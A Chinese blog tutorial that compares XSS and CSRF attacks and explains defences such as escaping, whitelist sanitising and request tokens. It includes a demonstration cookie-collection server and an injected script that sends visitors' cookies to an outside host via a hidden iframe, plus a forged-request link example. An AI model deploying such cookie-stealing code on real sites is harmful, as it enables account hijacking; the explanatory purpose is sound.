成人无码视频,亚洲精品久久久久av无码,午夜精品久久久久久毛片,亚洲 中文字幕 日韩 无码

資訊專欄INFORMATION COLUMN

總結(jié) XSS 與 CSRF 兩種跨站攻擊

jcc / 1761人閱讀

摘要:但最近又聽說了另一種跨站攻擊,于是找了些資料了解了一下,并與放在一起做個比較。腳本中的不速之客全稱跨站腳本,是注入攻擊的一種。

XSS:跨站腳本(Cross-site scripting)

CSRF:跨站請求偽造(Cross-site request forgery)

在那個年代,大家一般用拼接字符串的方式來構(gòu)造動態(tài) SQL 語句創(chuàng)建應(yīng)用,于是 SQL 注入成了很流行的攻擊方式。在這個年代, 參數(shù)化查詢 已經(jīng)成了普遍用法,我們已經(jīng)離 SQL 注入很遠(yuǎn)了。但是,歷史同樣悠久的 XSS 和 CSRF 卻沒有遠(yuǎn)離我們。由于之前已經(jīng)對 XSS 很熟悉了,所以我對用戶輸入的數(shù)據(jù)一直非常小心。如果輸入的時候沒有經(jīng)過 Tidy 之類的過濾,我一定會在模板輸出時候全部轉(zhuǎn)義。所以個人感覺,要避免 XSS 也是很容易的,重點(diǎn)是要“小心”。但最近又聽說了另一種跨站攻擊 CSRF ,于是找了些資料了解了一下,并與 XSS 放在一起做個比較。
XSS:腳本中的不速之客

XSS 全稱“跨站腳本”,是注入攻擊的一種。其特點(diǎn)是不對服務(wù)器端造成任何傷害,而是通過一些正常的站內(nèi)交互途徑,例如發(fā)布評論,提交含有 JavaScript 的內(nèi)容文本。這時服務(wù)器端如果沒有過濾或轉(zhuǎn)義掉這些腳本,作為內(nèi)容發(fā)布到了頁面上,其他用戶訪問這個頁面的時候就會運(yùn)行這些腳本。

運(yùn)行預(yù)期之外的腳本帶來的后果有很多中,可能只是簡單的惡作劇——一個關(guān)不掉的窗口:

while (true) {
    alert("你關(guān)不掉我~");
}

也可以是盜號或者其他未授權(quán)的操作——我們來模擬一下這個過程,先建立一個用來收集信息的服務(wù)器:

#!/usr/bin/env python
#-*- coding:utf-8 -*-

"""
跨站腳本注入的信息收集服務(wù)器
"""

import bottle

app = bottle.Bottle()
plugin = bottle.ext.sqlite.Plugin(dbfile="/var/db/myxss.sqlite")
app.install(plugin)

@app.route("/myxss/")
def show(cookies, db):
    SQL = "INSERT INTO "myxss" ("cookies") VALUES (?)"
    try:
        db.execute(SQL, cookies)
    except:
        pass
    return ""

if __name__ == "__main__":
    app.run()

然后在某一個頁面的評論中注入這段代碼:

// 用  包起來放在評論中

(function(window, document) {
    // 構(gòu)造泄露信息用的 URL
    var cookies = document.cookie;
    var xssURIBase = "http://192.168.123.123/myxss/";
    var xssURI = xssURIBase + window.encodeURI(cookies);
    // 建立隱藏 iframe 用于通訊
    var hideFrame = document.createElement("iframe");
    hideFrame.height = 0;
    hideFrame.width = 0;
    hideFrame.style.display = "none";
    hideFrame.src = xssURI;
    // 開工
    document.body.appendChild(hideFrame);
})(window, document);

于是每個訪問到含有該評論的頁面的用戶都會遇到麻煩——他們不知道背后正悄悄的發(fā)起了一個請求,是他們所看不到的。而這個請求,會把包含了他們的帳號和其他隱私的信息發(fā)送到收集服務(wù)器上。

我們知道 AJAX 技術(shù)所使用的 XMLHttpRequest 對象都被瀏覽器做了限制,只能訪問當(dāng)前域名下的 URL,所謂不能“跨域”問題。這種做法的初衷也是防范 XSS,多多少少都起了一些作用,但不是總是有用,正如上面的注入代碼,用 iframe 也一樣可以達(dá)到相同的目的。甚至在愿意的情況下,我還能用 iframe 發(fā)起 POST 請求。當(dāng)然,現(xiàn)在一些瀏覽器能夠很智能地分析出部分 XSS 并予以攔截,例如新版的 Firefox、Chrome 都能這么做。但攔截不總是能成功,何況這個世界上還有大量根本不知道什么是瀏覽器的用戶在用著可怕的 IE6。從原則上將,我們也不應(yīng)該把事關(guān)安全性的責(zé)任推脫給瀏覽器,所以防止 XSS 的根本之道還是過濾用戶輸入。用戶輸入總是不可信任的,這點(diǎn)對于 Web 開發(fā)者應(yīng)該是常識。

正如上文所說,如果我們不需要用戶輸入 HTML 而只想讓他們輸入純文本,那么把所有用戶輸入進(jìn)行 HTML 轉(zhuǎn)義輸出是個不錯的做法。似乎很多 Web 開發(fā)框架、模版引擎的開發(fā)者也發(fā)現(xiàn)了這一點(diǎn),Django 內(nèi)置模版和 Jinja2 模版總是默認(rèn)轉(zhuǎn)義輸出變量的。如果沒有使用它們,我們自己也可以這么做。PHP 可以用 htmlspecialchars 函數(shù),Python 可以導(dǎo)入 cgi 模塊用其中的 cgi.escape 函數(shù)。如果使用了某款模版引擎,那么其必自帶了方便快捷的轉(zhuǎn)義方式。

真正麻煩的是,在一些場合我們要允許用戶輸入 HTML,又要過濾其中的腳本。Tidy 等 HTML 清理庫可以幫忙,但前提是我們小心地使用。僅僅粗暴地去掉 script 標(biāo)簽是沒有用的,任何一個合法 HTML 標(biāo)簽都可以添加 onclick 一類的事件屬性來執(zhí)行 JavaScript。對于復(fù)雜的情況,我個人更傾向于使用簡單的方法處理,簡單的方法就是白名單重新整理。用戶輸入的 HTML 可能擁有很復(fù)雜的結(jié)構(gòu),但我們并不將這些數(shù)據(jù)直接存入數(shù)據(jù)庫,而是使用 HTML 解析庫遍歷節(jié)點(diǎn),獲取其中數(shù)據(jù)(之所以不使用 XML 解析庫是因?yàn)?HTML 要求有較強(qiáng)的容錯性)。然后根據(jù)用戶原有的標(biāo)簽屬性,重新構(gòu)建 HTML 元素樹。構(gòu)建的過程中,所有的標(biāo)簽、屬性都只從白名單中拿取。這樣可以確保萬無一失——如果用戶的某種復(fù)雜輸入不能為解析器所識別(前面說了 HTML 不同于 XML,要求有很強(qiáng)的容錯性),那么它不會成為漏網(wǎng)之魚,因?yàn)榘酌麊沃匦抡淼牟呗詴苯觼G棄掉這些未能識別的部分。最后獲得的新 HTML 元素樹,我們可以拍胸脯保證——所有的標(biāo)簽、屬性都來自白名單,一定不會遺漏。

現(xiàn)在看來,大多數(shù) Web 開發(fā)者都了解 XSS 并知道如何防范,往往大型的 XSS 攻擊(包括前段時間新浪微博的 XSS 注入)都是由于疏漏。我個人建議在使用模版引擎的 Web 項(xiàng)目中,開啟(或不要關(guān)閉)類似 Django Template、Jinja2 中“默認(rèn)轉(zhuǎn)義”(Auto Escape)的功能。在不需要轉(zhuǎn)義的場合,我們可以用類似 {{ myvar | raw }} 的方式取消轉(zhuǎn)義。這種白名單式的做法,有助于降低我們由于疏漏留下 XSS 漏洞的風(fēng)險(xiǎn)。

另外一個風(fēng)險(xiǎn)集中區(qū)域,是富 AJAX 類應(yīng)用(例如豆瓣網(wǎng)的阿爾法城)。這類應(yīng)用的風(fēng)險(xiǎn)并不集中在 HTTP 的靜態(tài)響應(yīng)內(nèi)容,所以不是開啟模版自動轉(zhuǎn)義能就能一勞永逸的。再加上這類應(yīng)用往往需要跨域,開發(fā)者不得不自己打開危險(xiǎn)的大門。這種情況下,站點(diǎn)的安全非常依賴開發(fā)者的細(xì)心和應(yīng)用上線前有效的測試?,F(xiàn)在亦有不少開源的 XSS 漏洞測試軟件包(似乎有篇文章提到豆瓣網(wǎng)的開發(fā)也使用自動化 XSS 測試),但我都沒試用過,故不予評價。不管怎么說,我認(rèn)為從用戶輸入的地方把好關(guān)總是成本最低而又最有效的做法。

更新(2014-10-04)

這里附上一些“白名單”消毒 HTML 標(biāo)簽和屬性(Sanitize HTML)的開源解決方案:

Python: lxml.html.clean / bleach
Ruby: Sanitize
JavaScript: sanitize-html
PHP: htmlpurifier

CSRF:冒充用戶之手

起初我一直弄不清楚 CSRF 究竟和 XSS 有什么區(qū)別,后來才明白 CSRF 和 XSS 根本是兩個不同維度上的分類。XSS 是實(shí)現(xiàn) CSRF 的諸多途徑中的一條,但絕對不是唯一的一條。一般習(xí)慣上把通過 XSS 來實(shí)現(xiàn)的 CSRF 稱為 XSRF。

CSRF 的全稱是“跨站請求偽造”,而 XSS 的全稱是“跨站腳本”??雌饋碛悬c(diǎn)相似,它們都是屬于跨站攻擊——不攻擊服務(wù)器端而攻擊正常訪問網(wǎng)站的用戶,但前面說了,它們的攻擊類型是不同維度上的分類。CSRF 顧名思義,是偽造請求,冒充用戶在站內(nèi)的正常操作。我們知道,絕大多數(shù)網(wǎng)站是通過 cookie 等方式辨識用戶身份(包括使用服務(wù)器端 Session 的網(wǎng)站,因?yàn)?Session ID 也是大多保存在 cookie 里面的),再予以授權(quán)的。所以要偽造用戶的正常操作,最好的方法是通過 XSS 或鏈接欺騙等途徑,讓用戶在本機(jī)(即擁有身份 cookie 的瀏覽器端)發(fā)起用戶所不知道的請求。

嚴(yán)格意義上來說,CSRF 不能分類為注入攻擊,因?yàn)?CSRF 的實(shí)現(xiàn)途徑遠(yuǎn)遠(yuǎn)不止 XSS 注入這一條。通過 XSS 來實(shí)現(xiàn) CSRF 易如反掌,但對于設(shè)計(jì)不佳的網(wǎng)站,一條正常的鏈接都能造成 CSRF。

例如,一論壇網(wǎng)站的發(fā)貼是通過 GET 請求訪問,點(diǎn)擊發(fā)貼之后 JS 把發(fā)貼內(nèi)容拼接成目標(biāo) URL 并訪問: http://example.com/bbs/create_post.php?title=標(biāo)題&content=內(nèi)容 那么,我只需要在論壇中發(fā)一帖,包含一鏈接: http://example.com/bbs/create_post.php?title=我是腦殘&content=哈哈 只要有用戶點(diǎn)擊了這個鏈接,那么他們的帳戶就會在不知情的情況下發(fā)布了這一帖子??赡苓@只是個惡作劇,但是既然發(fā)貼的請求可以偽造,那么刪帖、轉(zhuǎn)帳、改密碼、發(fā)郵件全都可以偽造。

首先可以提高的一個門檻,就是改良站內(nèi) API 的設(shè)計(jì)。對于發(fā)布帖子這一類創(chuàng)建資源的操作,應(yīng)該只接受 POST 請求,而 GET 請求應(yīng)該只瀏覽而不改變服務(wù)器端資源。當(dāng)然,最理想的做法是使用REST 風(fēng)格 [2] 的 API 設(shè)計(jì),GET、POST、PUT、DELETE 四種請求方法對應(yīng)資源的讀取、創(chuàng)建、修改、刪除?,F(xiàn)在的瀏覽器基本不支持在表單中使用 PUT 和 DELETE 請求方法,我們可以使用 ajax 提交請求(例如通過 jquery-form 插件,我最喜歡的做法),也可以使用隱藏域指定請求方法,然后用 POST 模擬 PUT 和 DELETE (Ruby on Rails 的做法)。這么一來,不同的資源操作區(qū)分的非常清楚,我們把問題域縮小到了非 GET 類型的請求上——攻擊者已經(jīng)不可能通過發(fā)布鏈接來偽造請求了,但他們?nèi)钥梢园l(fā)布表單,或者在其他站點(diǎn)上使用我們?nèi)庋鄄豢梢姷谋韱危诤笈_用 js 操作,偽造請求。

接下來我們就可以用比較簡單也比較有效的方法來防御 CSRF,這個方法就是“請求令牌”。讀過《J2EE 核心模式》的同學(xué)應(yīng)該對“同步令牌”應(yīng)該不會陌生,“請求令牌”和“同步令牌”原理是一樣的,只不過目的不同,后者是為了解決 POST 請求重復(fù)提交問題,前者是為了保證收到的請求一定來自預(yù)期的頁面。實(shí)現(xiàn)方法非常簡單,首先服務(wù)器端要以某種策略生成隨機(jī)字符串,作為令牌(token),保存在 Session 里。然后在發(fā)出請求的頁面,把該令牌以隱藏域一類的形式,與其他信息一并發(fā)出。在接收請求的頁面,把接收到的信息中的令牌與 Session 中的令牌比較,只有一致的時候才處理請求,否則返回 HTTP 403 拒絕請求或者要求用戶重新登錄驗(yàn)證身份。

請求令牌雖然使用起來簡單,但并非不可破解,使用不當(dāng)會增加安全隱患。使用請求令牌來防止 CSRF 有以下幾點(diǎn)要注意:

雖然請求令牌原理和驗(yàn)證碼有相似之處,但不應(yīng)該像驗(yàn)證碼一樣,全局使用一個 Session Key。因?yàn)檎埱罅钆频姆椒ㄔ诶碚撋鲜强善平獾模平夥绞绞墙馕鰜碓错撁娴奈谋?,獲取令牌內(nèi)容。如果全局使用一個 SessionKey,那么危險(xiǎn)系數(shù)會上升。原則上來說,每個頁面的請求令牌都應(yīng)該放在獨(dú)立的 Session Key中。我們在設(shè)計(jì)服務(wù)器端的時候,可以稍加封裝,編寫一個令牌工具包,將頁面的標(biāo)識作為 Session 中保存令牌的鍵。

在 ajax 技術(shù)應(yīng)用較多的場合,因?yàn)楹苡姓埱笫?JavaScript 發(fā)起的,使用靜態(tài)的模版輸出令牌值或多或少有些不方便。但無論如何,請不要提供直接獲取令牌值的API。這么做無疑是鎖上了大門,卻又把鑰匙放在門口,讓我們的請求令牌退化為同步令牌。

第一點(diǎn)說了請求令牌理論上是可破解的,所以非常重要的場合,應(yīng)該考慮使用驗(yàn)證碼(令牌的一種升級,目前來看破解難度極大),或者要求用戶再次輸入密碼(亞馬遜、淘寶的做法)。但這兩種方式用戶體驗(yàn)都不好,所以需要產(chǎn)品開發(fā)者權(quán)衡。

無論是普通的請求令牌還是驗(yàn)證碼,服務(wù)器端驗(yàn)證過一定記得銷毀。忘記銷毀用過的令牌是個很低級但是殺傷力很大的錯誤。我們學(xué)校的選課系統(tǒng)就有這個問題,驗(yàn)證碼用完并未銷毀,故只要獲取一次驗(yàn)證碼圖片,其中的驗(yàn)證碼可以在多次請求中使用(只要不再次刷新驗(yàn)證碼圖片),一直用到Session 超時。這也是為何選課系統(tǒng)加了驗(yàn)證碼,外掛軟件升級一次之后仍然暢通無阻。

如下也列出一些據(jù)說能有效防范 CSRF,其實(shí)效果甚微的方式甚至無效的做法。

通過 referer 判定來源頁面:referer 是在 HTTP Request Head里面的,也就是由請求的發(fā)送者決定的。如果我喜歡,可以給 referer任何值。當(dāng)然這個做法并不是毫無作用,起碼可以防小白。但我覺得性價比不如令牌。

過濾所有用戶發(fā)布的鏈接:這個是最無效的做法,因?yàn)槭紫裙粽卟灰欢ㄒ獜恼緝?nèi)發(fā)起請求(上面提到過了),而且就算從站內(nèi)發(fā)起請求,途徑也遠(yuǎn)遠(yuǎn)不止鏈接一條。比如就是個不錯的選擇,還不需要用戶去點(diǎn)擊,只要用戶的瀏覽器會自動加載圖片,就會自動發(fā)起請求。在請求發(fā)起頁面用 alert 彈窗提醒用戶:這個方法看上去能干擾站外通過 iframe 發(fā)起的 CSRF,但攻擊者也可以考慮用 window.alert = function(){}; 把 alert 弄啞,或者干脆脫離 iframe,使用 Flash 來達(dá)到目的。

總體來說,目前防御 CSRF 的諸多方法還沒幾個能徹底無解的。所以 CSDN 上看到討論 CSRF 的文章,一般都會含有“無恥”二字來形容(另一位有該名號的貌似是 DDOS 攻擊)。作為開發(fā)者,我們能做的就是盡量提高破解難度。當(dāng)破解難度達(dá)到一定程度,網(wǎng)站就逼近于絕對安全的位置了(雖然不能到達(dá))。上述請求令牌方法,就我認(rèn)為是最有可擴(kuò)展性的,因?yàn)槠湓砗?CSRF 原理是相克的。CSRF 難以防御之處就在于對服務(wù)器端來說,偽造的請求和正常的請求本質(zhì)上是一致的。而請求令牌的方法,則是揪出這種請求上的唯一區(qū)別——來源頁面不同。我們還可以做進(jìn)一步的工作,例如讓頁面中 token 的 key 動態(tài)化,進(jìn)一步提高攻擊者的門檻。本文只是我個人認(rèn)識的一個總結(jié),便不討論過深了。

文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請注明本文地址:http://m.hztianpu.com/yun/78945.html

相關(guān)文章

  • XSSCSRF 兩種跨站攻擊

    摘要:請求偽造在跨站攻擊中,攻擊者需要獲得受害者的會話令牌,請求偽造也與會話劫持相關(guān),但是攻擊者不需要知道受害者的會話令牌,就能夠行駛受害者的權(quán)利。 差不多剛開始接觸前端的時候,經(jīng)常能看到一些早幾年入行大牛們的簡歷,幾乎所有人都會在簡歷中帶上這么一句話:具備基本的 Web 安全知識(XSS / CSRF)。顯然這已經(jīng)成為前端人員的必備知識。 showImg(https://segmentfa...

    GHOST_349178 評論0 收藏0
  • 用大白話談?wù)?em>XSSCSRF

    摘要:它允許惡意用戶將代碼注入到網(wǎng)頁上,其他用戶在觀看網(wǎng)頁時就會受到影響。這類攻擊通常包含了以及用戶端腳本語言。更偏向于方法論,更偏向于一種形式,只要是偽造用戶發(fā)起的請求,都可成為攻擊。 這兩個關(guān)鍵詞也是老生常談了,但是還總是容易讓人忘記與搞混~。XSS與CSRF這兩個關(guān)鍵詞時常被拉出來一起比較(尤其是面試),我在這里也在寫一篇掃盲文,也幫自己整理一下知識脈絡(luò)。 這篇文章會用盡量人話的語言解...

    Yumenokanata 評論0 收藏0
  • 用大白話談?wù)?em>XSSCSRF

    摘要:它允許惡意用戶將代碼注入到網(wǎng)頁上,其他用戶在觀看網(wǎng)頁時就會受到影響。這類攻擊通常包含了以及用戶端腳本語言。更偏向于方法論,更偏向于一種形式,只要是偽造用戶發(fā)起的請求,都可成為攻擊。 這兩個關(guān)鍵詞也是老生常談了,但是還總是容易讓人忘記與搞混~。XSS與CSRF這兩個關(guān)鍵詞時常被拉出來一起比較(尤其是面試),我在這里也在寫一篇掃盲文,也幫自己整理一下知識脈絡(luò)。 這篇文章會用盡量人話的語言解...

    wawor4827 評論0 收藏0
  • 前端安全知識

    摘要:跨站腳本攻擊可能造成以下影響利用虛假輸入表單騙取用戶個人信息。不僅僅是前端負(fù)責(zé),后端也要做相同的過濾檢查。張三登錄了銀行的網(wǎng)站沒有退出,訪問了黑客王五的網(wǎng)站,上述的就會向銀行發(fā)起請求。 原文連接 https://jkchao.cn/article/59d... XSS xss: 跨站腳本攻擊(Cross Site Scripting)是最常見和基本的攻擊 WEB 網(wǎng)站方法,攻擊者通過...

    Fundebug 評論0 收藏0
  • 《網(wǎng)絡(luò)黑白》一書所抄襲的文章列表

    摘要:網(wǎng)絡(luò)黑白一書所抄襲的文章列表這本書實(shí)在是垃圾,一是因?yàn)樗幕ヂ?lián)網(wǎng)上的文章拼湊而成的,二是因?yàn)槠礈愃教?,連表述都一模一樣,還抄得前言不搭后語,三是因?yàn)閮?nèi)容全都是大量的科普,不涉及技術(shù)也沒有干貨。 《網(wǎng)絡(luò)黑白》一書所抄襲的文章列表 這本書實(shí)在是垃圾,一是因?yàn)樗幕ヂ?lián)網(wǎng)上的文章拼湊而成的,二是因?yàn)槠礈愃教?,連表述都一模一樣,還抄得前言不搭后語,三是因?yàn)閮?nèi)容全都是大量的科普,不涉及技術(shù)...

    zlyBear 評論0 收藏0

發(fā)表評論

0條評論

閱讀需要支付1元查看
<